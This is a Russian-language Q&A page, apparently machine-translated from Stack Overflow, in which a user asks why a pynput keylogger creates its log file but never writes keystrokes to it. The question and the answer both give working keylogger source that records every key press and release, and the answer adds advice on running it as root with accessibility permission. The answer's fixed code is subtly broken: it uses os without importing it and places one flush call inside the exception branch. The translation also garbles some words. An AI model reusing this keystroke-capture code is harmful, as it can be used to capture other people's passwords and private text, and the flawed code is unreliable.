Pynput Keylogger не записывает в файл - PullRequest
0 голосов
/ 10 января 2020

У меня проблема с этой программой кейлоггер. Он должен записать в файл, но он этого не делает. Что не так?

Программа должна прослушать клавиатуру и записать ее в файл (перед этим проверяется, существует файл или нет). Но он не записывает в файл, он только создает файл.

from pynput import keyboard
import os

if os.path.exists("prova3.txt") == True:
    f = open("prova3.txt","a")
else:
    f = open("prova3.txt","x")

def on_press(key):
    try:
        f.writelines("///key [ {0} ] pressed ///".format(
            key.char))
    except AttributeError:
        f.writelines("///special key {0} pressed///".format(
            key))

def on_release(key):
    f.writelines(["///key [ {0} ] released ///".format(
        key)])

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

1 Ответ

0 голосов
/ 10 января 2020

Прежде всего, убедитесь, что вы приняли к сведению предупреждение от pynput docs :

Запуск прослушивателя клавиатуры может быть связан с некоторыми ограничениями на вашей платформе.

Если вы находитесь на Ма c, как я, вам нужно сделать следующее:

  • Процесс должен выполняться как root.
  • Ваше приложение должно быть занесено в белый список под Включить доступ для вспомогательных устройств .

Для этого второго элемента отметьте эти шаги из соответствующего сообщения SO.

Теперь, для реальной проблемы записи файла, одним из решений является вызов f.flush() после вызова f.writelines, чтобы убедиться, что данные фактически записаны в файл , (см. этот пост для объяснения: что именно делает python file.flu sh ()? ). Я не знаком с базовой реализацией pynput, но в документах говорится, что он использует потоки, и это, похоже, влияет на файловый ввод / вывод. Также рекомендуется вызывать f.close(), когда вы закончите работу с файлом.

from pynput import keyboard

if os.path.exists("prova3.txt"):
    f = open("prova3.txt", "a")
else:
    f = open("prova3.txt", "x")

def on_press(key):
    try:
        f.writelines("///key [ {0} ] pressed ///".format(
            key.char))
    except AttributeError:
        f.writelines("///special key {0} pressed///".format(
            key))
        f.flush()

def on_release(key):
    f.writelines(["///key [ {0} ] released ///".format(
        key)])
    f.flush()

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

f.close()

Альтернативный и лучший способ - использовать выражение with при записи в файл . Это ставит f и pynput listener в одном контексте. Таким образом, звонить по номеру flush не нужно (но вы все равно можете, если хотите).

from pynput import keyboard

with open("prova3.txt", "a") as f:
    def on_press(key):
        try:
            f.writelines("///key [ {0} ] pressed ///".format(
                key.char))
        except AttributeError:
            f.writelines("///special key {0} pressed///".format(
                key))

    def on_release(key):
        f.writelines(["///key [ {0} ] released ///".format(
            key)])

    with keyboard.Listener(
            on_press=on_press,
            on_release=on_release) as listener:
        listener.join()
...